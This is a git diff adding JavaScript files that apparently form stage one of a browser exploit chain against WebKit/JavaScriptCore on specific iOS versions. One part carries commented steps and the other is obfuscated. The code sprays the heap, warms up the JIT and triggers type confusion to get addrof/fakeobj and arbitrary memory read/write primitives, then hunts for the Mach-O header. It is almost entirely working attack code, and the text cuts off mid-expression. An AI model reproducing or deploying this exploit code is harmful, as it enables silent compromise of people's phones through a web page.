nursery + window.log(`[STAGE1] Heap spray: allocating 7000 JSON objects...`); + for (let t = 0; t < 7000; t++) + n[t] = JSON.parse("{\"a" + t + "\": " + t + "}"); + + window.log(`[STAGE1] Triggering JIT compilation + GC pressure...`); + H(); // JIT/GC pressure + window.log(`[STAGE1] Heap spray: 240 × 4MB ArrayBuffers...`); + V(); // Heap spray with large ArrayBuffers + + // Exploit state object — sealed to prevent JIT deoptimization + const i = { + j: { g: eval("(() => {return -NaN})()") }, // NaN-boxing sentinel + A: !1, // success flag + M: e, // Float64Array for type punning + xs: r, // Int32Array view of same buffer + Fs: platformModule.platformState.iOSVersion >= 160400 ? new J() : new $(), // WASM primitive (version-dependent) + Cs: { // Collected exploit state addresses + vs: null, // dyld image header A + Ds: null, // dyld image list (pre-16.4) + Os: null, // dyld image list entry (pre-16.4) + Ns: null, // dyld image list entry (16.4+) + Js: null, // dyld callback pointer (16.4+) + $s: null, // JSC vtable pointer + Vs: null // auxiliary object reference + }, + t: [[], [], [], []], // WASM instance references for type confusion + l: [1.1, 2.2, 3.1], // Double array (will be type-confused with object array) + i: [.23, 2.2, 3.4], // Alternate double array + k: null, // version-specific exploit callback + o: null, // auxiliary object + m: null, // inlined function reference + u: null, // megamorphic dispatch function + Es: null, // JIT speculation function + h: null, // pointer setup function + nr: null, // raw read primitive (as double) + mi: null, // length read primitive + Gs: null, // raw write primitive + Hs: new ArrayBuffer(16), + Ls: null, // Uint32Array view of Hs + Rs: null, // Float64Array view of Hs + Ks: 5242880 // 0x500000 — initial offset guess + }; + Object.seal(i); + + // Build a very large function body to force megamorphic JIT compilation. + // The dead code (never executed) bloats the function to prevent inlining, + // which is necessary for the type confusion to work. + const s = "x += 1; x += 1; x += 1; x += 1; x += 1; x += 1; x += 1;"; + let a = ""; + for (let t = 0; t < 7200; t++) a += s; + + /** + * Megamorphic dispatch wrapper — calls func(arg0..arg4) through a large + * function that the JIT must compile in a specific way. + */ + const l = new Function( + "func", "arg0", "arg1", "arg2", "arg3", "arg4", + "\n if(false) {\n let x = 0;\n " + a + + "\n }\n\n return func(arg0, arg1, arg2, arg3, arg4);\n " + ); + + window.log(`[STAGE1] Built megamorphic dispatch function (7200 dead-code iterations)`); + i.u = l; + i.Ls = new Uint32Array(i.Hs); + i.Rs = new Float64Array(i.Hs); + i.l.dw34 = 12; // Named property to change butterfly storage + i.i.x534 = 94; + i.t[0] = i.Fs.es; // WASM instance A + i.t[1] = i.Fs.ss; // WASM instance B + i.t[2] = i.l; // Double array (confusion target) + i.t[3] = i.Fs.os; // addrof helper array + + const h = { a: 1, b: 2, c: 3, d: 4 }; + i.o = h; + const o = Symbol(); + let f = [0]; + + try { + /** + * The exploit IIFE — triggers type confusion and builds primitives. + * + * The exploit works by: + * 1. JIT-compiling several primitive functions (read as double, write as double, etc.) + * 2. These functions use the megamorphic wrapper to force specific JIT behavior + * 3. After sufficient warmup, the JIT makes incorrect type assumptions + * 4. A property getter (n.zs/n.qs) triggers the confusion during Array construction + * 5. This confuses a double array with an object array + * 6. Once confused: doubles can be read as object pointers (addrof) + * and object pointers can be written as doubles (fakeobj) + */ + platformModule.platformState.exploitPrimitive = (() => { + // Version-specific exploit callback — reads JSC internal structures + // to find vtable pointers, dyld image lists, and callback addresses. + i.k = platformModule.platformState.iOSVersion >= 160400 ? + // iOS >= 16.4 path: additional vtable entries at TryHSU + cyTrSt offsets + function (t, e, r, n) { + const i = t.u(t.nr, t, e, n + 8), + s = t.u(t.nr, t, e, i), + a = t.u(t.nr, t, e, i + 8), + l = t.u(t.nr, t, e, i + 16), + h = t.u(t.nr, t, e, i + 24), + o = t.u(t.nr, t, e, l + 8), + f = t.u(t.mi, t, e, l); + t.Ks = f; + const c = t.u(t.nr, t, e, s + platformModule.platformState.versionFlags.TryHSU), + b = c + platformModule.platformState.versionFlags.cyTrSt, + u = t.u(t.nr, t, e, a + platformModule.platformState.versionFlags.TryHSU), + g = u + platformModule.platformState.versionFlags.cyTrSt, + w = t.u(t.nr, t, e, b), + d = t.u(t.nr, t, e, g); + // Zero out the vtable entries, then store confusing pointer + t.u(t.Gs, t, e, u + platformModule.platformState.versionFlags.ZHsObe, -0); + t.u(t.Gs, t, e, c + platformModule.platformState.versionFlags.ZHsObe, -0); + t.u(t.Gs, t, e, b, 5e-324 * g); + // Warmup: force JIT to lock in type assumptions + for (let e = 0; e < 30; e++) t.u(t.nr, t, [1.1], o); + for (let e = 0; e < 30; e++) t.u(t.Gs, t, [1.1], o, n + 8); + for (let e = 0; e < 30; e++) t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.h, t, o); + // Save collected addresses + t.Cs.$s = c; + t.Cs.Js = w; + t.Cs.vs = u; + t.Cs.Ns = d; + t.Cs.Vs = h; + } : + // iOS < 16.4 path: uses FFwSQ4 offset instead of cyTrSt + (t, e, r, n) => { + const i = t.u(t.nr, t, e, n + 8), + s = t.u(t.nr, t, e, i), + a = t.u(t.nr, t, e, i + 8), + l = t.u(t.nr, t, e, i + 16), + h = t.u(t.nr, t, e, i + 24), + o = t.u(t.nr, t, e, l + 8), + f = t.u(t.mi, t, e, l); + t.Ks = f; + const c = t.u(t.nr, t, e, s + platformModule.platformState.versionFlags.TryHSU), + b = t.u(t.nr, t, e, a + platformModule.platformState.versionFlags.TryHSU), + u = b + platformModule.platformState.versionFlags.FFwSQ4, + g = c + platformModule.platformState.versionFlags.FFwSQ4, + w = t.u(t.nr, t, e, g), + d = t.u(t.nr, t, e, u); + t.u(t.Gs, t, e, g, 5e-324 * u); + t.u(t.nr, t, [1.1], o); + t.u(t.Gs, t, [1.1], o, n + 8); + t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.nr, t, [1.1], o); + for (let e = 0; e < 30; e++) t.u(t.Gs, t, [1.1], o, n + 8); + for (let e = 0; e < 30; e++) t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.h, t, o); + t.Cs.$s = c; + t.Cs.Os = w; + t.Cs.vs = b; + t.Cs.Ds = d; + t.Cs.Vs = h; + }; + + /** + * JIT speculation function — builds arrays while exploiting + * speculative type assumptions. The JIT assumes all array elements + * are doubles, but the type confusion makes some be object pointers. + */ + i.Es = new Function("t", "n", "o", "c", + "if(false) {return " + Math.random() + " + " + Math.random() + + "} {const s=t.t;const e=t.o;const r=t.l;const f=t.i;" + + "const l=new Array(o);for(let a=0;a t[3001], // Getter: returns a specific array element + qs() {// Getter: truncates array + triggers JIT + t.length = 0; + i.u(H);i.u(H);i.u(H); + } + }, + s = { length: 1, 0: 12 }; + + function a() { + arguments.length > 2 && + i.u(i.Es, i, arguments[3], arguments[4], arguments[5]); + } + + // Configure the trigger object with property getters that + // fire during array construction — this is how the type confusion + // is triggered at exactly the right moment. + Object.defineProperty(s, "3", { get: n.zs }); + Object.defineProperty(s, "4", { value: 10000 }); + Object.defineProperty(s, "5", { value: !0 }); + Object.defineProperty(s, "8", { get: n.qs }); + + globalThis.inlinedFunction = a; + i.m = a; + + // ── Primitive compilation: pointer setup ────────────────────── + // This function manipulates the Float64/Uint32 views to construct + // double values that encode specific pointer offsets. + const l = (t, e) => { + const r = (e, r) => (t.Ls[0] = e, t.Ls[1] = r, t.Rs[0]); + h.a = r(0, t.Ks - 131072 /* 0x20000 */); + h.b = r(7, (e >>> 0) - 131072); + h.c = r(e / 4294967296 >>> 0, 1048575 /* 0xFFFFF */); + t.M[0] = Math.min(t.j.g, t.j.g); + }; + i.h = l; + + // JIT warmup: 100K iterations each to trigger compilation + window.log(`[STAGE1] JIT warmup: compiling pointer-setup primitive (100K iterations)...`); + for (let t = 0; t < 100000 && (l(i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: read as integer (via double division) ────────── + const o = (t, e, r) => ( + l(t, r + 8), + t.M[0] = Math.min(t.j.g, t.j.g), + 0 | e.length); + + i.mi = o; + for (let t = 0; t < 100000 && (i.u(o, i, i.i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: write double to array ───────────────────────── + const f = (t, e, r, n) => { + t.u(l, t, r); + e[0] = n; + t.M[0] = Math.min(t.j.g, t.j.g); + }; + i.Gs = f; + for (let t = 0; t < 100000 && (i.u(f, i, i.i, 1.1, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: read double from array ──────────────────────── + const c = (t, e, r) => { + t.u(l, t, r); + const n = e[0]; + return t.M[0] = Math.min(t.j.g, t.j.g), n / 5e-324; + }; + i.nr = c; + for (let t = 0; t < 100000 && (i.u(c, i, i.i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Trigger function wrapper ───────────────────────────────── + const b = new Function("n", "l", + "if(false) {return " + Math.random() + " + " + Math.random() + + "} {n.m.apply(null,l);n.M[0]=Math.min(n.j.g,n.j.g)}"); + + const g = [], + w = [.1, .1, .1, -2.7130486595895504e-98, -2.7130486595895504e-98], + d = [1.1, 2.2, 3.3, -2.7130486595895504e-98, -2.7130486595895504e-98], + y = [1.1, 1.1, 1.1, -2.7130486595895504e-98, -2.7130486595895504e-98]; + + // Warmup the speculation function: 100K iterations with alternating data + window.log(`[STAGE1] JIT warmup: speculation function (100K iterations)...`); + for (let t = 0; t < 100000 && ( + g.push(i.u(i.Es, i, w, 4, t % 2 != 0)), + !(r[1] < 0)); + t++) { + const e = t % 2 == 0 ? y : d; + for (let t = 0; t < e.length; t++) w[t] = e[t]; + } + + // Warmup the trigger wrapper: 1M iterations + window.log(`[STAGE1] JIT warmup: trigger wrapper (1M iterations)...`); + for (let t = 0; t < 1000000 && (i.u(b, i, s, 4), !(i.xs[1] < 0)); t++); + + // ── THE TYPE CONFUSION TRIGGER ──────────────────────────────── + // Resize the trigger object and fire b(i, s) — the property getters + // on `s` execute during Array.from/spread, causing the JIT to + // confuse a double array with an object array. + window.log(`[STAGE1] >>> TRIGGERING TYPE CONFUSION <<<`); + s.length = 9; + i.A = !1; + i.u(b, i, s); + if (!i.A) {throw new Error("!i.A: Type confusion did not trigger");} + window.log(`[STAGE1] Type confusion SUCCESS — addrof/fakeobj primitives active`); + + // ── Post-exploitation setup ────────────────────────────────── + window.log(`[STAGE1] Storing exploit state addresses...`); + let A = null; + platformModule.platformState.iOSVersion >= 160400 ? ( + i.Fs.storeExploitState(i.Cs.vs, i.Cs.Ns, i.Cs.$s, i.Cs.Js, i.Cs.Vs), A = i.Fs) : ( + i.Fs.storeExploitState(i.Cs.vs, i.Cs.Ds, i.Cs.$s, i.Cs.Os, i.Cs.Vs), A = i.Fs); + + // Walk backwards from the WebAssembly.Table JIT code pointer + // to find the Mach-O header (magic: 0xFEEDFACF = 4277009103) + let U = A.getJITCodePointer(WebAssembly.Table); + window.log(`[STAGE1] JIT code pointer: 0x${U.toString(16)}`); + U &= u; // Strip pointer tag + let _ = U - U % 0x1000n; // Page-align + if (0n === _) throw new Error("0n === _"); + window.log(`[STAGE1] Scanning for Mach-O header (0xFEEDFACF) from 0x${_.toString(16)}...`); + for (;;) { + if (0xFEEDFACF /* 0xFEEDFACF — MH_MAGIC_64 */ === A.read32(_)) break; + _ -= BigInt(4096); // Walk back one page + } + window.log(`[STAGE1] Found Mach-O header at 0x${_.toString(16)}`); + window.log(`[STAGE1] === Stage 1 complete ===`); + return A; + })(); + } catch (t) { + throw platformModule.platformState.exploitPrimitive = void 0, t; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Module export +// ════════════════════════════════════════════════════════════════════════════ + +/** Export: r.si = exploitMain (async entry point for Stage 1) */ +return r.si = L, r; \ No newline at end of file diff --git a/Stage1_16.6_17.2.1_cassowary.js b/Stage1_16.6_17.2.1_cassowary.js new file mode 100644 index 0000000..d19ad3a --- /dev/null +++ b/Stage1_16.6_17.2.1_cassowary.js @@ -0,0 +1,1449 @@ +let r = {}; +"use strict"; +const { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K +} = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +const P = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); +const x = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +async function q(t, e) { + const n = 0; + const r = 1; + const i = 2; + const s = 3; + const o = (t) => {}; + let l = 170100; + if (navigator.constructor.name === "Navigator") { + o(""); + l = e; + } + const c = "00"; + const h = "01"; + const u = "02"; + const a = "03"; + const f = "04"; + const w = "05"; + const p = "06"; + const m = "07"; + const y = "08"; + const b = "09"; + const A = "0a"; + const U = "0b"; + const g = "0c"; + const d = "0d"; + const B = "0e"; + const v = "0f"; + const T = "10"; + const C = "11"; + const F = "12"; + const N = "13"; + const k = "14"; + const I = "15"; + const _ = "16"; + const W = "17"; + const j = "18"; + const R = "19"; + const D = "1a"; + const E = "1b"; + const H = "1c"; + const L = "1d"; + const M = "1e"; + const O = "1f"; + const V = "20"; + const J = "21"; + const G = "22"; + const K = "23"; + const $ = "24"; + const z = "25"; + const Q = "26"; + const X = "27"; + const Y = "28"; + const Z = "29"; + const tt = {}; + tt[c] = 176; + tt[h] = 88; + tt[u] = 96; + tt[a] = 8; + tt[f] = 16; + tt[w] = 16; + tt[p] = 24; + tt[m] = 16; + tt[y] = 24; + tt[b] = 16; + tt[A] = 16; + tt[U] = 16; + tt[g] = 328; + tt[d] = 472; + tt[B] = 512; + tt[v] = 520; + tt[T] = 664; + tt[C] = 8; + tt[F] = 0; + tt[N] = 4; + tt[k] = 12; + tt[I] = 16; + tt[_] = 20; + tt[W] = 3; + tt[j] = 32; + tt[R] = 48; + tt[D] = 16; + tt[E] = 44; + tt[H] = 48; + tt[L] = 56; + tt[M] = 32; + tt[O] = 64; + tt[V] = 112; + tt[J] = 8; + tt[G] = 24; + tt[K] = 768; + tt[$] = 144; + tt[z] = 96; + tt[Q] = 32; + tt[X] = 52232; + tt[Y] = 52240; + tt[Z] = true; + function et() { + if (l >= 170000) { + tt[h] = 96; + tt[u] = 104; + tt[X] = 77464; + tt[Y] = 77472; + } + if (l >= 170100) { + tt[X] = 78488; + tt[Y] = 78496; + } + if (l >= 170200) { + tt[X] = 78528; + tt[Y] = 78536; + } + } + function nt(t) { + return "0x" + t.toString(16); + } + function rt(t) { + return BigInt(t); + } + const it = BigInt(549755813887); + const st = 127; + const ot = BigInt(39); + function lt(t) { + return t & rt(it); + } + const ct = async () => { + const t = new ut(); + const e = true; + const n = false; + const s = true; + const l = 2; + const h = 2; + const m = { + zr: () => {}, + Qs: [] + }; + function y(t, e, n = null) { + U[t / 4] = e; + U[t / 4 + 1] = n !== null ? n : e / b; + } + const b = 4294967296; + let A = new ArrayBuffer(16); + let U = new Uint32Array(A); + let g = new Float64Array(A); + let d = new BigUint64Array(A); + let B = 0; + function x(t, e = null) { + y(B, t, e); + return g[B / 8]; + } + m.Xs = x; + function v(t) { + g[B / 8] = t; + return U[B / 4] + b * U[B / 4 + 1]; + } + function T(t) { + g[B / 8] = t; + return d[B / 8]; + } + function C(t = 10000) { + let e = []; + for (let n = 0; n < t; ++n) e.push(new Uint8Array(10000)); + } + function P() { + for (let t = 0; t < 8; t++) new ArrayBuffer(16777216); + } + async function F(t) { + try { + if (window.testRunner) await print(testRunner.describe(t)); + } catch (t) {} + } + async function N(t, e) { + let n = new ArrayBuffer(e); + let r = new Uint32Array(n); + for (let n = 0; n < e; n += 4) r[n / 4] = m.Ys(t + n); + await dumphex(n); + } + function k(t) { + let e = new ArrayBuffer(t.length); + let n = new Uint8Array(e); + for (let e = 0, r = t.length; e < r; e++) n[e] = t.charCodeAt(e); + return e; + } + async function I(t) { + return new Promise((e, n) => setTimeout(e, t)); + } + function S(t) { + let e = new Uint32Array(t); + let n = m.Zs(m.so(e) + 16); + m.Qs.push(e); + return [e, n]; + } + function _(t) { + let e = new Uint8Array(t); + let n = m.Zs(m.so(e) + 16); + m.Qs.push(e); + return [e, n]; + } + const W = 16777216; + const j = 131072; + const R = 4294967296; + const D = R - 1; + let E = new Float64Array(1); + let H = new Uint32Array(E.buffer); + function L(t) { + E[0] = t; + return H[1] * R + H[0]; + } + let M = new Uint32Array(2); + let O = new Float64Array(M.buffer); + let V = new Uint32Array(2); + let J = new BigUint64Array(V.buffer); + let G = new Float64Array(V.buffer); + function K(t) { + M[1] = t / R; + M[0] = t & D; + return O[0]; + } + pm = { + init: function () { + o(""); + pm.tmput32 = new Uint32Array(2); + pm.tmpFl = new Float64Array(pm.tmput32.buffer); + pm.fc = { + lo: 1, + co: 2 + }; + pm.fa = [1.1, pm.fc]; + let t = [1.1, 1.1]; + t.ho = 1.1; + let e = [1.1, 2.2]; + e.ho = 1.1; + function n() {} + let r = Reflect.construct(Object, [], n); + let i = Reflect.construct(Object, [], n); + r.p1 = t; + r.p2 = t; + i.p1 = 4919; + i.p2 = 4919; + delete i.p2; + delete i.p1; + i.p1 = 4919; + i.p2 = 4919; + let s = { + guard_p1: 1, + p1: [1.1, 2.2] + }; + let l = new Uint32Array(2); + let c = new Float64Array(l.buffer); + let h = function (t, n) { + if (n) return; + let o = r; + if (t) { + o = i; + 0[0]; + } + let h = 0; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + "uo" in o; + let u = o.p1; + if (t) u = e; + c[0] = u[1]; + l[0] = l[0] + 16; + u[1] = c[0]; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + }; + for (let t = 0; t < W; t++) { + if (t > j) { + h(false, true); + continue; + } + h(t % 2 && t < 256, t > 4096); + if (t == j) delete r.p2; + } + for (let t = 0; t < 1048576; t++) new Array(13.37, 13.37, 13.37, 13.37); + delete r.p1; + r.p1 = pm.fa; + r.p2 = 1; + h(false, false); + }, + ao: function (t) { + pm.tmput32[0] = t[0]; + pm.tmput32[1] = t[1] - 131072; + return pm.tmpFl[0]; + }, + fo: function (t) { + pm.fc.lo = t; + }, + wo: function () { + pm.gRWArray1 = [{}, {}, {}]; + let t = { + p1: 1, + p2: 1, + length: 16 + }; + Array.prototype.fill.call(t, 1.1); + let e = new Float64Array(8); + let n = new Uint32Array(e.buffer); + var i = []; + for (let t = 0; t < 16; t++) i[t] = {}; + pm.ref = i[7]; + pm.ref2 = i[8]; + var s = pm.ao([201527, 16783110]); + pm.far = [201527, 201527]; + pm.tmpOptArr = []; + for (let t = 0; t < 256; t++) pm.tmpOptArr[t] = { + a1: 3.14, + a2: 1.1 + }; + let o = { + b1: pm.ref2 + }; + o[0] = 1.1; + o[1] = 1.1; + o[2] = 1.1; + o[3] = 1.1; + o[4] = 1.1; + for (let t = 256; t < 512; t++) pm.tmpOptArr[t] = { + a1: 3.14, + a2: 1.1 + }; + let l = pm.tmpOptArr[256]; + l[0] = 1.1; + l[1] = 1.1; + l[2] = 1.1; + l[3] = 1.1; + l[4] = 1.1; + let c = pm.tmpOptArr[255]; + c[0] = 1.1; + c[1] = 1.1; + c[2] = 1.1; + c[3] = 1.1; + c[4] = 1.1; + pm.gRWArray1[0] = t; + pm.gRWArray1[2] = t; + pm.fc.lo = s; + pm.fc.co = o; + function h(t, n) { + let r = pm.gRWArray1[0]; + e[0] = r[2]; + e[1] = r[4]; + e[2] = r[5]; + e[3] = r[0]; + e[4] = r[1]; + r = pm.gRWArray1[2]; + r[t] = n; + } + for (let t = 0; t < 1048576; t++) h(1, 1.1); + m.po = function (n) { + o.b1 = n; + pm.gRWArray1[2] = t; + h(1, 1.1); + return L(e[0]); + }; + let u = new Array(1.1, 1.1, 1.1, 1.1); + u[0] = 1.1; + let a = [u, t]; + function f() { + let t = a[0]; + let n = a[1]; + t[2] = 3.3; + n[0] = e[0]; + useless[1] = 3.3; + e[0] = t[0]; + n[0] = e[1]; + return e[0]; + } + for (let t = 0; t < 1048576; t++) { + useless = new Array(1, 2, 3); + f(t + 3.3); + f(t + .1); + } + function w() { + let t = a[0]; + let n = a[1]; + t[2] = 3.3; + n[0] = e[0]; + useless[1] = 3.3; + t[0] = e[2]; + n[0] = e[1]; + } + for (let t = 0; t < 1048576; t++) { + useless = new Array(1, 2, 3); + w(t + 3.3, 13.37); + w(t + 3.3, 13.37); + } + pm.gRWArray1[0] = pm.fa[1]; + pm.fa[1] = null; + h(1, 3.14); + pm.far[0] = n[6]; + pm.far[1] = 16783110; + var p = pm.ao(pm.far); + pm.fo(p); + pm.far[1] = 16783104; + var y = pm.ao(pm.far); + pm.ref2Address = m.po(pm.ref2); + var b = m.po(o); + var A = m.po(l); + var U = m.po(c); + var g = A - b; + var d = U - b; + if (pm.ref2Address == 0x7ff8000000000000 || g != 32 && d != 32) { + pm.fo(y); + pm.gRWArray1[0] = t; + h(1, 3.14); + throw r; + } + if (d == 32) { + l = c; + c = null; + } + let B = m.po(u); + h(1, 1.1); + let x = e[4]; + pm.fc.co = o; + pm.gRWArray1[2] = pm.gRWArray1[0]; + h(5, K(B + 8)); + pm.gRWArray1[2] = t; + for (let t = 0; t < 8388608; t++) { + f(t + 13.37); + w(13.38, 13.38); + } + function v(t) { + a[1] = l; + e[0] = K(t); + e[1] = x; + return L(f()); + } + function T(t, n) { + a[1] = l; + e[0] = K(t); + e[1] = x; + e[2] = K(n); + w(); + } + function C(t, n) { + a[1] = l; + e[0] = K(t); + e[1] = x; + e[2] = n; + w(); + } + m.mo = v; + m.yo = T; + m.bo = C; + let P = {}; + P[0] = .1; + objectForCellAddr = m.po(P); + pm.far[0] = v(objectForCellAddr - 4) / R; + pm.far[1] = 16783110; + pm.fo(pm.ao(pm.far)); + }, + Ao: function () { + o(""); + let t = new Array(4096).fill(13.37); + function e() { + return t.length; + } + pm.testobj = { + a: 1 + }; + pm.testobjAddr = m.po(pm.testobj) + 16; + m.po = function (t) { + pm.testobj.a = t; + return m.mo(pm.testobjAddr); + }; + m.so = (t) => m.po(t); + for (let t = 0; t < 1048576; t++) e(t + .1); + for (let n = 0; n < 1048576; n++) { + m.po(t); + e(n + .1); + } + for (let n = 0; n < 1048576; n++) { + m.so(t); + e(n + .1); + } + const n = m.po(t); + const r = m.mo(n + 8); + m.Ys = function (t) { + m.yo(n + 8, t + 8); + let i = e(); + m.yo(n + 8, r); + return i >>> 0; + }; + m.Zs = function (t) { + return m.Ys(t) + (m.Ys(t + 4) & 127) * 4294967296; + }; + m.Uo = function (t) { + return m.Ys(t) + (m.Ys(t + 4) & 32767) * 4294967296; + }; + m.do = function (t) { + let e = m.Ys(t); + let n = m.Ys(t + 4); + return [e, n]; + }; + m.Bo = function (t, e) { + m.bo(t, e); + }; + m.xo = function (t, e) { + m.yo(t, e); + }; + m.vo = function (t, e, n) { + U[0] = e; + U[1] = n; + m.Bo(t, g[0]); + }; + m.To = function (t) { + let e = m.do(t); + U[0] = e[0]; + U[1] = e[1]; + return g[0]; + }; + }, + test: function () { + o(""); + let [t, e] = S(16); + t[0] = 4919; + t[1] = 16705; + let n = m.do(e); + if (n[0] !== 4919 || n[1] !== 16705) throw new Error("n[0] !== 4919 || n[1] !== 16705"); + o(""); + m.xo(e, 57005); + if (t[0] !== 57005) throw new Error("t[0] !== 57005"); + o(""); + }, + zr: function () { + o(""); + for (let t = 0; t < pm.tmpOptArr.length; t++) pm.tmpOptArr[t] = null; + pm.tmpOptArr = null; + m.vo(pm.ref2Address + 24, m.Zs(m.po(pm.ref) + 24)); + pm.gRWArray1[0] = null; + pm.gRWArray1[2] = null; + pm.ref2 = null; + } + }; + async function $() { + o(""); + function e(t) { + if (typeof t == "bigint") { + J[0] = t; + t = V[0] + (V[1] & 127) * 4294967296; + } + let e = m.Ys(t); + let n = m.Ys(t + 4); + V[0] = e; + V[1] = n; + return J[0]; + } + function n(t, e) { + if (typeof t == "bigint") { + J[0] = t; + t = V[0] + (V[1] & 127) * 4294967296; + } + m.Bo(t, e); + } + function r(t) { + pm.testobj.a = t; + return e(pm.testobjAddr); + } + pm.init(); + pm.wo(); + pm.Ao(); + pm.test(); + const i = (t) => { + const n = r(t); + o(""); + const i = e(n + rt(tt[w])); + o(""); + const s = i + rt(tt[c]); + const l = e(s); + return [i, s, l]; + }; + const s = r(t.os); + const [l, h, a] = i(t.es); + const [f, p, y] = i(t.ss); + o(""); + o(""); + o(""); + n(f + rt(tt[u]), -0); + n(l + rt(tt[u]), -0); + n(h, t.Oi.wn(p)); + pm.cleanup(); + t.ws = f; + t.ds = y; + t.ys = l; + t.As = a; + t.Us = s; + } + async function q() { + const e = t; + self.postMessage({ + type: i + }); + self.setTimeout(() => { + const t = e.getObjectAddress(e.es); + o(""); + const n = e.read64(t + rt(tt[w])); + o(""); + const r = e.read64(n + rt(tt[a])); + o(""); + const i = e.read64(t + rt(tt[p])); + o(""); + const s = e.read64(n + rt(tt[f])); + o(""); + const l = e.read64(r + rt(tt[Q])); + o(""); + const h = e.read64(r + rt(tt[X])); + o(""); + const m = e.read64(h + rt(tt[Y])); + o(""); + const y = e.read64(h + rt(tt[X])); + o(""); + const b = e.read64(h + rt(tt[Q])); + o(""); + const A = (t) => { + const e = readBigPtr(inst_jsptr + rt(tt[w])); + const n = e + rt(tt[c]); + const r = readBigPtr(n); + return [e, n, r]; + }; + const U = () => { + for (let t = -0x1800n; t > -0x3000n; t -= 0x8n) { + const n = b - t; + if (e.read64(n) == 